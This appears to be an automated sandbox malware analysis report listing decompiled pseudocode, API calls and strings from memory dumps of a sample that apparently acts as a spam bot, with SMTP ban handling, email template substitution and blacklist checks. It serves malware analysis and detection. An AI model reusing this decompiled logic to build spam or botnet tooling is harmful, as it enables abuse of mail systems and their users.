time_cfg, xrefs: 0040F323
ps, xrefs: 0040F375, 0040F3A0

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: closesockethtonssocket
String ID: ps$time_cfg
API String ID: 311057483-1008165782
Opcode ID: 685126c5453265c7bff9625bd6507709e61d04640598cf9eaa2582fbc6c48842
Instruction ID: 30084693e0db7c5d018f03cf39b97fa82366a7d059792586ebb4172a1a3c68ff
Opcode Fuzzy Hash: 685126c5453265c7bff9625bd6507709e61d04640598cf9eaa2582fbc6c48842
Instruction Fuzzy Hash: AA319E72900118ABDB20DFA5DC859EF7BBCEF88314F104176F904E3190E7788A858BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040BE31, Relevance: 18.2, APIs: 6, Strings: 6, Instructions: 152
stringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040BE31(signed int _a4, intOrPtr _a8) {
				signed int _v8;
				CHAR* _v12;
				int _v16;
				int _t50;
				int _t51;
				intOrPtr _t52;
				intOrPtr _t55;
				intOrPtr _t57;
				void* _t59;
				char* _t66;
				CHAR* _t68;
				int _t71;
				int _t72;
				void* _t76;
				intOrPtr _t78;
				signed int _t82;
				signed int _t83;
				signed int _t84;
				intOrPtr* _t86;
				void* _t88;
				void* _t91;
				void* _t92;

				_t83 = _a4;
				_t68 = _t83 + 4;
				_v12 = _t68;
				if(lstrcmpiA(_t68, "smtp_herr") == 0 || lstrcmpiA(_t68, "smtp_ban") == 0) {
					L3:
					_t72 = 0;
					_v16 = 0;
					if(_a8 == 3) {
						L25:
						if(lstrcmpiA(_v12, "smtp_herr") != 0) {
							if(lstrcmpiA(_v12, "smtp_ban") != 0) {
								_t50 = lstrcmpiA(_v12, "smtp_retr");
								_t51 = 0x413638;
								if(_t50 != 0) {
									_t51 = _a4;
								}
							} else {
								_t51 = 0x413634;
							}
						} else {
							_t51 = 0x413630;
						}
						_t86 =  *_t51;
						 *_t51 = _v16;
						if(_t86 == 0) {
							goto L36;
						} else {
							_t52 =  *_t86;
							_t84 = 0;
							while(_t52 != 0) {
								E0040EC2E(_t52);
								_t84 = _t84 + 1;
								_t52 =  *((intOrPtr*)(_t86 + _t84 * 4));
							}
							return E0040EC2E(_t86);
						}
					}
					_t55 =  *((intOrPtr*)(_t83 + 0x18));
					_t82 = 0;
					if(_t55 <= 0) {
						goto L25;
					} else {
						goto L5;
					}
					do {
						L5:
						if( *((char*)(_t83 + _t72 + 0x24)) == 0xa || _t72 == _t55 - 1) {
							_t82 = _t82 + 1;
						}
						_t72 = _t72 + 1;
					} while (_t72 < _t55);
					if(_t82 == 0) {
						goto L25;
					}
					_t70 = 4 + _t82 * 4;
					_t51 = E0040EBCC(4 + _t82 * 4);
					_pop(_t76);
					_v16 = _t51;
					if(_t51 == 0) {
						goto L36;
					}
					E0040EE2A(_t76, _t51, 0, _t70);
					_t57 =  *((intOrPtr*)(_t83 + 0x18));
					_v8 = _v8 & 0x00000000;
					_a4 = _a4 & 0x00000000;
					_t92 = _t91 + 0xc;
					if(_t57 > 0) {
						_t71 = _v16;
						do {
							_t78 =  *((intOrPtr*)(_t83 + _a4 + 0x24));
							if(_t78 == 0xa || _a4 == _t57 - 1) {
								_t88 = _a4 - _v8;
								if(_t78 != 0xa) {
									_t88 = _t88 + 1;
								}
								_t25 = _t88 + 1; // 0x1
								_t59 = E0040EBCC(_t25);
								 *_t71 = _t59;
								if(_t59 == 0) {
									goto L25;
								} else {
									E0040EE08(_t59, _t83 + _v8 + 0x24, _t88);
									_t92 = _t92 + 0xc;
									 *((char*)(_t88 +  *_t71)) = 0;
									if(_t88 > 0) {
										_t31 =  *_t71 - 1; // -1
										_t66 = _t88 + _t31;
										if( *_t66 == 0xd) {
											 *_t66 = 0;
										}
									}
									_t71 = _t71 + 4;
									_v8 = _v8 + _t88 + 1;
									goto L22;
								}
							}
							L22:
							_a4 = _a4 + 1;
							_t57 =  *((intOrPtr*)(_t83 + 0x18));
						} while (_a4 < _t57);
					}
					goto L25;
				} else {
					_t51 = lstrcmpiA(_t68, "smtp_retr");
					if(_t51 != 0) {
						L36:
						return _t51;
					}
					goto L3;
				}
			}

0x0040be40
0x0040be43
0x0040be4c
0x0040be53
0x0040be71
0x0040be71
0x0040be77
0x0040be7a
0x0040bf62
0x0040bf6e
0x0040bf83
0x0040bf94
0x0040bf98
0x0040bf9d
0x0040bf9f
0x0040bf9f
0x0040bf85
0x0040bf85
0x0040bf85
0x0040bf70
0x0040bf70
0x0040bf70
0x0040bfa2
0x0040bfa7
0x0040bfab
0x00000000
0x0040bfad
0x0040bfad
0x0040bfaf
0x0040bfbe
0x0040bfb4
0x0040bfb9
0x0040bfba
0x0040bfbd
0x00000000
0x0040bfc8
0x0040bfab
0x0040be80
0x0040be83
0x0040be87
0x00000000
0x00000000
0x00000000
0x00000000
0x0040be8d
0x0040be8d
0x0040be92
0x0040be9b
0x0040be9b
0x0040be9c
0x0040be9d
0x0040bea3
0x00000000
0x00000000
0x0040bea9
0x0040beb1
0x0040beb6
0x0040beb7
0x0040bebc
0x00000000
0x00000000
0x0040bec6
0x0040becb
0x0040bece
0x0040bed2
0x0040bed6
0x0040bedb
0x0040bee1
0x0040bee4
0x0040bee7
0x0040beee
0x0040bef9
0x0040beff
0x0040bf01
0x0040bf01
0x0040bf02
0x0040bf06
0x0040bf0c
0x0040bf10
0x00000000
0x0040bf12
0x0040bf1c
0x0040bf23
0x0040bf26
0x0040bf2c
0x0040bf30
0x0040bf30
0x0040bf37
0x0040bf39
0x0040bf39
0x0040bf37
0x0040bf49
0x0040bf4c
0x00000000
0x0040bf4c
0x0040bf10
0x0040bf4f
0x0040bf4f
0x0040bf52
0x0040bf55
0x0040bf5a
0x00000000
0x0040be61
0x0040be67
0x0040be6b
0x0040bfcd
0x0040bfcd
0x0040bfcd
0x00000000
0x0040be6b

APIs

lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BE4F
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BE5B
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BE67
lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BF6A
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BF7F
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BF94

Strings

46A, xrefs: 0040BF85
smtp_retr, xrefs: 0040BE61, 0040BF8C
06A, xrefs: 0040BF70
smtp_ban, xrefs: 0040BE55, 0040BF77
smtp_herr, xrefs: 0040BE46, 0040BF62
86A, xrefs: 0040BF98

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: 06A$46A$86A$smtp_ban$smtp_herr$smtp_retr
API String ID: 1586166983-142018493
Opcode ID: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction ID: 5eb9e18a275db8e61a6fe50fd05ed02ec51c2bbb25542f34a2f5cec7b259a8e4
Opcode Fuzzy Hash: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction Fuzzy Hash: 98519F71A0021AEEDB119B65DD40B9ABBA9EF04344F14407BE845FB291D738E9818FDC

Uniqueness

Uniqueness Score: -1.00%

Function 0040B3C5, Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 145
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040B3C5(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v132;
				void* _t46;
				char* _t71;
				intOrPtr _t72;
				intOrPtr _t73;
				intOrPtr _t75;
				void* _t76;
				void* _t77;

				E00405CE1(_a4, 0x3e800, _a16, 0, 0);
				E0040EF00( &_v132, "%FROM_EMAIL");
				E00405CE1( &_v132, 0x64, _a16, 0, 0);
				_t71 = E0040ED03( &_v132, 0x40);
				_t77 = _t76 + 0x38;
				_t83 = _t71;
				if(_t71 != 0) {
					_t7 = _t71 + 1; // 0x1
					E0040EF7C(_t83, _a4, "%FROM_DOMAIN", _t7, 0x3e800, 0);
					 *_t71 = 0;
					E0040EF7C(_t83, _a4, "%FROM_USER",  &_v132, 0x3e800, 0);
					_t77 = _t77 + 0x28;
				}
				_t72 = _a12;
				E0040EF7C(_t83, _a4, "%TO_DOMAIN",  *((intOrPtr*)(_t72 + 0xc)), 0x3e800, 0);
				wsprintfA( &_v132, "%s@%s",  *((intOrPtr*)(_t72 + 8)),  *((intOrPtr*)(_t72 + 0xc)));
				E0040EF7C(_t83, _a4, "%TO_EMAIL",  &_v132, 0x3e800, 0);
				_t73 = _a4;
				E0040EF7C(_t83, _t73, "%TO_USER",  *((intOrPtr*)(_t72 + 4)), 0x3e800, 0);
				_t46 = E0040F0CB( &_v132);
				_push(0);
				_push( &_v132);
				_push(_t46);
				E0040F133();
				E0040EF7C(_t83, _t73, "%TO_HASH",  &_v132, 0x3e800, 0);
				_push(_t73);
				E0040AD89( &_v132, _t83);
				E0040B211(0,  &_v132, 0);
				E0040EF7C(_t83, _t73, "%DATE",  &_v132, 0x3e800, 0);
				E0040B211(0,  &_v132, 5);
				E0040EF7C(_t83, _t73, "%P5DATE",  &_v132, 0x3e800, 0);
				E0040B211(0,  &_v132, 0xfffffffb);
				E0040EF7C(_t83, _t73, "%M5DATE",  &_v132, 0x3e800, 0);
				_t75 = _a8;
				 *((char*)(E0040AEDD(_t75, _t73, 0x3e800) + _t75)) = 0;
				return _t75;
			}

0x0040b3e1
0x0040b3ef
0x0040b3ff
0x0040b40f
0x0040b411
0x0040b414
0x0040b416
0x0040b41a
0x0040b426
0x0040b439
0x0040b43b
0x0040b440
0x0040b440
0x0040b443
0x0040b453
0x0040b467
0x0040b47b
0x0040b485
0x0040b48e
0x0040b49a
0x0040b49f
0x0040b4a3
0x0040b4a4
0x0040b4a5
0x0040b4b6
0x0040b4bb
0x0040b4bc
0x0040b4c7
0x0040b4d8
0x0040b4e7
0x0040b4f8
0x0040b504
0x0040b515
0x0040b51e
0x0040b52b
0x0040b534

APIs

wsprintfA.USER32 ref: 0040B467

Part of subcall function 0040EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 0040EF92
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(?), ref: 0040EF99
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(00000000), ref: 0040EFA0

Strings

%FROM_EMAIL, xrefs: 0040B3E9
%FROM_USER, xrefs: 0040B431
%TO_EMAIL, xrefs: 0040B473
%TO_USER, xrefs: 0040B488
%P5DATE, xrefs: 0040B4F2
%TO_DOMAIN, xrefs: 0040B44B
%DATE, xrefs: 0040B4D2
%M5DATE, xrefs: 0040B50F
%FROM_DOMAIN, xrefs: 0040B41E
%TO_HASH, xrefs: 0040B4B0
%s@%s, xrefs: 0040B461

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: lstrlen$wsprintf
String ID: %DATE$%FROM_DOMAIN$%FROM_EMAIL$%FROM_USER$%M5DATE$%P5DATE$%TO_DOMAIN$%TO_EMAIL$%TO_HASH$%TO_USER$%s@%s
API String ID: 1220175532-2340906255
Opcode ID: f116c43b1eb536776b1bff8e0c8cac67a078ec341982f46d28ec492e3a392109
Instruction ID: bf34ba3998127a8345ca8177a6a798a4e2b1dcf0281bd89f40bace4b7f612c60
Opcode Fuzzy Hash: f116c43b1eb536776b1bff8e0c8cac67a078ec341982f46d28ec492e3a392109
Instruction Fuzzy Hash: CE4174B254011D7EDF016B96CCC2DFFBB6CEF4934CB14052AF904B2181EB78A96487A9

Uniqueness

Uniqueness Score: -1.00%

Function 0043BCB4, Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0043BCB8
_strlen.LIBCMT ref: 0043BCE8
_write_multi_char.LIBCMTD ref: 0043C4CB
_write_string.LIBCMTD ref: 0043C4E6
_write_multi_char.LIBCMTD ref: 0043C512
__mbtowc_l.LIBCMTD ref: 0043C581

Strings

HD@, xrefs: 0043BCDB

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: HD@
API String ID: 909868375-1661062907
Opcode ID: 67a0e0b55109ef93f899b1eaf3db28d0803af4c3b6bb0fd4b3d51eb36954dc44
Instruction ID: fe805681d599942f5763a2b6e32b488ad2589f963f6ad4a59fca8248b3c0ba5a
Opcode Fuzzy Hash: 67a0e0b55109ef93f899b1eaf3db28d0803af4c3b6bb0fd4b3d51eb36954dc44
Instruction Fuzzy Hash: B0A14FB1D002289BDB24DF55CC85BEEB3B5EB48305F14919AE6097B281D738AE84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 022B1FE6, Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 205libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 022B2016
GetSystemInfo.KERNEL32(?), ref: 022B2038
GetModuleHandleA.KERNEL32(00410380,0041038C), ref: 022B2053
GetProcAddress.KERNEL32(00000000), ref: 022B205A
GetCurrentProcess.KERNEL32(?), ref: 022B206B
GetTickCount.KERNEL32 ref: 022B2219

Part of subcall function 022B1E2F: GetComputerNameA.KERNEL32(?,0000000F), ref: 022B1E65

Strings

hi_id, xrefs: 022B2166, 022B216B, 022B2183
flags_upd, xrefs: 022B208E, 022B2093, 022B20CC
localcfg, xrefs: 022B207A, 022B2081, 022B2094, 022B20CD, 022B20DC, 022B2102, 022B2121, 022B2137, 022B214F, 022B216C, 022B2184, 022B21A0, 022B21C0
work_srv, xrefs: 022B20AE

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: AddressComputerCountCurrentHandleInfoModuleNameProcProcessSystemTickVersion
String ID: flags_upd$hi_id$localcfg$work_srv
API String ID: 4207808166-1391650218
Opcode ID: 95941b0076ff9e03750b1b60fd5c4485c08a11f1e0340fac45349bf3b379a799
Instruction ID: 1be7745efcdbf68f78030efd5879115d6bca2315d3ba96efa74e857c5041d79e
Opcode Fuzzy Hash: 95941b0076ff9e03750b1b60fd5c4485c08a11f1e0340fac45349bf3b379a799
Instruction Fuzzy Hash: 535136B0924308AFE331AFE58C84FE7BAECEF45784F40492DF95582246D7B8A544CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00402011, Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 160
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00402011() {
				long _t35;
				void* _t45;
				intOrPtr _t47;
				void* _t51;
				char* _t53;
				char* _t58;
				intOrPtr _t96;
				signed int _t102;
				signed int _t103;
				void* _t104;
				void* _t122;

				if(( *0x4122f4 & 0x00000001) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000001;
					 *0x4122f0 = E0040F04E(0);
				}
				if(( *0x4122f4 & 0x00000002) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000002;
					 *0x4122ec = E0040F04E(0);
				}
				if(( *0x4122f4 & 0x00000004) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000004;
					 *0x4122e8 = E0040F04E(0);
				}
				_t35 = GetTickCount();
				_t96 =  *((intOrPtr*)(_t104 + 0x114));
				if(_t35 -  *0x4122e0 > 0xdbba0) {
					_t58 =  *0x412000; // 0x410288
					_t103 = 0;
					if( *_t58 != 0) {
						_t60 = 0x412000;
						do {
							if(E00402684( *_t60) == 0) {
								goto L11;
							} else {
								 *(_t96 + 0x14) =  *(_t96 + 0x14) | 0x00000004;
								if(E00401978(_t61, 0x50) != 0) {
									_t12 = _t96 + 0x14;
									 *_t12 =  *(_t96 + 0x14) | 0x00000002;
									__eflags =  *_t12;
								} else {
									goto L11;
								}
							}
							goto L14;
							L11:
							_t103 = _t103 + 1;
							_t60 = 0x412000 + _t103 * 4;
						} while ( *((char*)( *(0x412000 + _t103 * 4))) != 0);
					}
					L14:
					 *0x4122e0 = GetTickCount();
				}
				if(GetTickCount() -  *0x4122dc > 0xdbba0) {
					_t53 =  *0x412000; // 0x410288
					_t102 = 0;
					if( *_t53 != 0) {
						_t55 = 0x412000;
						do {
							if(E00402EF8( *_t55) == 0) {
								goto L20;
							} else {
								 *(_t96 + 0x14) =  *(_t96 + 0x14) | 0x00000008;
								if(E00401978(_t56, 0x19) != 0) {
									_t18 = _t96 + 0x14;
									 *_t18 =  *(_t96 + 0x14) | 0x00000001;
									__eflags =  *_t18;
								} else {
									goto L20;
								}
							}
							goto L23;
							L20:
							_t102 = _t102 + 1;
							_t55 = 0x412000 + _t102 * 4;
						} while ( *((char*)( *(0x412000 + _t102 * 4))) != 0);
					}
					L23:
					 *0x4122dc = GetTickCount();
				}
				 *(_t96 + 0x28) = GetTickCount() / 0x3e8;
				 *((intOrPtr*)(_t96 + 0x2c)) = GetTickCount() / 0x3e8 -  *0x412110;
				_t45 = E0040F04E(0) -  *0x4122f0;
				_t93 = "localcfg";
				_t122 = _t45 -  *0x4122e4; // 0x0
				if(_t122 > 0) {
					E0040E854(1, "localcfg", "rbl_bl", _t104 + 0x18, 0x100, 0x410264);
					_t51 = E0040E819(1, _t93, "rbl_ip", 0);
					_t104 = _t104 + 0x28;
					if(_t51 == 0) {
						L28:
						 *0x4122e4 = 0x12c;
					} else {
						_t124 =  *((intOrPtr*)(_t104 + 0x10));
						if( *((intOrPtr*)(_t104 + 0x10)) == 0) {
							goto L28;
						} else {
							_push(_t104 + 0x10);
							_push(_t51);
							 *((intOrPtr*)(_t96 + 0x38)) = E00401C5F(_t124);
							 *0x4122e4 = 0x4b0;
						}
					}
				}
				_t47 = E0040F04E(0) -  *0x4122f0;
				if(_t47 > 0x4b0) {
					E0040EA84(1, _t93, "net_type",  *(_t96 + 0x14));
					_t47 = E0040F04E(0);
					 *0x4122f0 = _t47;
				}
				return _t47;
			}

0x0040201e
0x00402020
0x0040202f
0x0040202f
0x0040203b
0x0040203d
0x0040204c
0x0040204c
0x00402058
0x0040205a
0x00402069
0x00402069
0x00402078
0x00402080
0x0040208e
0x00402090
0x00402095
0x0040209a
0x0040209c
0x004020a1
0x004020ab
0x00000000
0x004020ad
0x004020ad
0x004020bd
0x004020d0
0x004020d0
0x004020d0
0x00000000
0x00000000
0x00000000
0x004020bd
0x00000000
0x004020bf
0x004020bf
0x004020c0
0x004020c9
0x004020ce
0x004020d4
0x004020d6
0x004020d6
0x004020e5
0x004020e7
0x004020ec
0x004020f1
0x004020f3
0x004020f8
0x00402102
0x00000000
0x00402104
0x00402104
0x00402114
0x00402127
0x00402127
0x00402127
0x00000000
0x00000000
0x00000000
0x00402114
0x00000000
0x00402116
0x00402116
0x00402117
0x00402120
0x00402125
0x0040212b
0x0040212d
0x0040212d
0x0040213f
0x00402151
0x00402159
0x00402160
0x0040216a
0x00402170
0x00402189
0x00402197
0x0040219c
0x004021a1
0x004021c1
0x004021c1
0x004021a3
0x004021a3
0x004021a7
0x00000000
0x004021a9
0x004021ad
0x004021ae
0x004021b6
0x004021b9
0x004021b9
0x004021a7
0x004021a1
0x004021d1
0x004021da
0x004021e7
0x004021ed
0x004021f5
0x004021f5
0x00402204

APIs

GetTickCount.KERNEL32 ref: 00402078
GetTickCount.KERNEL32 ref: 004020D4
GetTickCount.KERNEL32 ref: 004020DB
GetTickCount.KERNEL32 ref: 0040212B
GetTickCount.KERNEL32 ref: 00402132
GetTickCount.KERNEL32 ref: 00402142

Part of subcall function 0040F04E: SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,0040E342,00000000,73AFF210,80000001,00000000,0040E513,?,?,?,?,000000E4), ref: 0040F089
Part of subcall function 0040F04E: GetSystemTimeAsFileTime.KERNEL32(80000001,?,?,?,0040E342,00000000,73AFF210,80000001,00000000,0040E513,?,?,?,?,000000E4,000000C8), ref: 0040F093

Part of subcall function 0040E854: lstrcpyA.KERNEL32(00000001,?,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E88B
Part of subcall function 0040E854: lstrlenA.KERNEL32(00000001,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E899

Part of subcall function 00401C5F: wsprintfA.USER32 ref: 00401CE1

Strings

localcfg, xrefs: 00402070, 00402160, 00402186, 00402194, 004021E4
rbl_bl, xrefs: 00402181
rbl_ip, xrefs: 0040218F
net_type, xrefs: 004021DF

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: CountTick$Time$FileSystem$lstrcpylstrlenwsprintf
String ID: localcfg$net_type$rbl_bl$rbl_ip
API String ID: 3976553417-1522128867
Opcode ID: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction ID: 2c4ade229706ff5e66d1d9a19171a9bb61e55472092035c31cb102c4d2320628
Opcode Fuzzy Hash: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction Fuzzy Hash: CF51F3706043465ED728EB21EF49B9A3BD4BB04318F10447FE605E62E2DBFC9494CA1D

Uniqueness

Uniqueness Score: -1.00%

Function 0043BE8A, Relevance: 16.7, APIs: 11, Instructions: 238COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0043BE8E
__get_printf_count_output.LIBCMTD ref: 0043BE9C
__invalid_parameter.LIBCMTD ref: 0043BF23
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043BF38
_write_multi_char.LIBCMTD ref: 0043C4CB
_write_string.LIBCMTD ref: 0043C4E6
_write_multi_char.LIBCMTD ref: 0043C512
__mbtowc_l.LIBCMTD ref: 0043C581

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID:
API String ID: 2386203720-0
Opcode ID: 6f81d9701ff0cbeff0e60bf9892986a53e8712b25196e12603c9d9391d1c5277
Instruction ID: b853b653009d2da3850afa94534a3d735b741dc9c21201ab45f882549365b42c
Opcode Fuzzy Hash: 6f81d9701ff0cbeff0e60bf9892986a53e8712b25196e12603c9d9391d1c5277
Instruction Fuzzy Hash: C7A18FB4D002299BDB24DF55CC86BAEB375EF48304F14509AE6097B282D778AE84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C2DC, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 182
threadCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040C2DC(void* __ebp, signed int _a4) {
				void* _t86;
				signed int _t90;
				signed int _t91;
				long _t93;
				signed int _t95;
				signed int _t101;
				signed int _t108;
				signed int _t112;
				signed int _t115;
				long _t117;
				long _t118;
				signed int _t120;
				struct _SECURITY_ATTRIBUTES* _t122;
				signed int _t123;
				signed int _t132;
				signed int _t148;
				signed char _t151;
				signed int _t154;
				signed int _t156;
				signed char* _t157;
				void* _t158;
				signed int _t163;

				_t158 = __ebp;
				_t157 = _a4;
				E0040A4C7(_t157);
				_t122 = 0;
				if(_t157[0x44] == 0) {
					_t157[8] = 0;
					_t157[0x34] = 0;
					_t157[0x38] = 0;
					_t157[0x3c] = 0;
					_t157[0x54] = 0;
					_t157[0x40] = 0;
					_t157[0x58] = 0;
					L31:
					_t82 =  &(_t157[4]); // 0x40c4e4
					_t86 = _t82;
					_t148 =  !( *_t157) & 0x00000001;
					_t157[0x5c] = _t122;
					_t84 =  &(_t157[8]); // 0xfffffdf0
					if( *_t86 >=  *_t84) {
						L34:
						return _t86;
					}
					_t86 = CreateThread(_t122, _t122, E0040B535, InterlockedIncrement(_t86) | _t148 << 0x00000010, _t122, _t122);
					if(_t86 == _t122) {
						goto L34;
					}
					return CloseHandle(_t86);
				}
				if(_t157[8] != 0) {
					__eflags = _t157[0x48];
					if(_t157[0x48] == 0) {
						L5:
						_t12 =  &(_t157[0x10]); // 0x59be026a
						_t90 =  *_t12;
						_t157[8] = _t90;
						_t157[0x34] = _t90;
						_t91 = _t90 * 0x3e8;
						__eflags = _t91;
						_t157[0x38] = _t122;
						_t157[0x3c] = _t122;
						_t157[0x1c] = _t90 * 0x2710;
						_t157[0x20] = _t91;
						goto L6;
					}
					_t118 = GetTickCount();
					_t11 =  &(_t157[0x48]); // 0x13740041
					__eflags = _t118 -  *_t11 - 0x927c0;
					if(_t118 -  *_t11 < 0x927c0) {
						goto L6;
					}
					goto L5;
				} else {
					_t4 =  &(_t157[0xc]); // 0x5756c359
					_t120 =  *_t4;
					_t157[0x1c] = _t120 * 0x2710;
					_t157[8] = _t120;
					_t157[0x20] = _t120 * 0x3e8;
					_t157[0x34] = _t120;
					_t157[0x48] = GetTickCount();
					L6:
					if(( *_t157 & 0x00000001) == 0) {
						_t73 =  &(_t157[0x34]); // 0xa1c35e5f
						_t157[8] =  *_t73;
						goto L31;
					}
					_t93 = GetTickCount();
					_t21 =  &(_t157[0x4c]); // 0x26fce850
					if(_t93 -  *_t21 >= 0x2710) {
						goto L31;
					}
					if(_t157[0x54] == _t122) {
						_t95 = 0x3e8;
					} else {
						_t117 = GetTickCount();
						_t23 =  &(_t157[0x54]); // 0x41366c1d
						_t95 = _t117 -  *_t23;
					}
					_t123 = _t95;
					if(_t95 < 1) {
						_t123 = 1;
					}
					if(_t123 > 0x4e20) {
						_t123 = 0x4e20;
					}
					_t24 =  &(_t157[0x58]); // 0x701d8900
					_t25 =  &(_t157[0x40]); // 0x74c33b57
					_t151 =  *_t25;
					_t132 =  *_t24 * 0x3e8;
					_push(_t158);
					asm("cdq");
					_push(0x14);
					_a4 = _t123;
					asm("cdq");
					_t101 = (_t132 - _t151) * _t123 / 0x3e8 / 0x3e8;
					if(_t101 == 0) {
						__eflags = _t132 - _t151;
						if(__eflags == 0) {
							goto L22;
						}
						if(__eflags >= 0) {
							_t156 = _t151 + 1;
							__eflags = _t156;
						} else {
							_t156 = _t151 - 1;
						}
						goto L21;
					} else {
						_t156 = _t151 + _t101;
						L21:
						_t157[0x40] = _t156;
						L22:
						if(_t157[0x40] < 0) {
							_t157[0x40] = _t157[0x40] & 0x00000000;
						}
						_t39 =  &(_t157[0x40]); // 0x74c33b57
						_t163 = (0xc8 -  *_t39) * 0x14;
						if(_t123 > 0x3e8) {
							_a4 = 0x3e8;
						}
						asm("cdq");
						_t46 =  &(_t157[0x14]); // 0x5f004120
						_t47 =  &(_t157[0x10]); // 0x59be026a
						asm("cdq");
						_t49 =  &(_t157[0x30]); // 0xe4754f45
						_t54 =  &(_t157[0x20]); // 0x406a0000
						_t108 = E0040A505(_t163 * _a4 / 0x3e8 /  *_t49 +  *_t54,  *_t47 * 0x3e8,  *_t46 * 0x3e8);
						asm("cdq");
						_t56 =  &(_t157[0x2c]); // 0xc68314c4
						_t157[0x20] = _t108;
						_t112 = E0040A505(_t163 /  *_t56 + _t108,  *_t47 * 0x3e8,  *_t46 * 0x3e8);
						asm("cdq");
						_t122 = 0;
						_t157[0x58] = 0;
						_t154 = _t112 / 0x3e8;
						_t157[0x54] = GetTickCount();
						_t68 =  &(_t157[0x34]); // 0xa1c35e5f
						_t115 =  *_t68;
						if(_t115 <= _t154) {
							_t157[8] = _t115;
							_t157[0x20] = _t115 * 0x3e8;
						} else {
							_t157[8] = _t154;
							_t157[0x1c] = _t154 * 0x2710;
						}
						goto L31;
					}
				}
			}

0x0040c2dc
0x0040c2de
0x0040c2e4
0x0040c2e9
0x0040c2ef
0x0040c482
0x0040c485
0x0040c488
0x0040c48b
0x0040c48e
0x0040c491
0x0040c494
0x0040c497
0x0040c499
0x0040c499
0x0040c4a0
0x0040c4a3
0x0040c4a6
0x0040c4a9
0x0040c4d5
0x0040c4d5
0x0040c4d5
0x0040c4c1
0x0040c4c9
0x00000000
0x00000000
0x00000000
0x0040c4cc
0x0040c2fe
0x0040c326
0x0040c329
0x0040c337
0x0040c337
0x0040c337
0x0040c342
0x0040c345
0x0040c348
0x0040c348
0x0040c34e
0x0040c351
0x0040c354
0x0040c357
0x00000000
0x0040c357
0x0040c32b
0x0040c32d
0x0040c330
0x0040c335
0x00000000
0x00000000
0x00000000
0x0040c300
0x0040c300
0x0040c300
0x0040c30b
0x0040c316
0x0040c319
0x0040c31c
0x0040c321
0x0040c35a
0x0040c35d
0x0040c47a
0x0040c47d
0x00000000
0x0040c47d
0x0040c363
0x0040c365
0x0040c36d
0x00000000
0x00000000
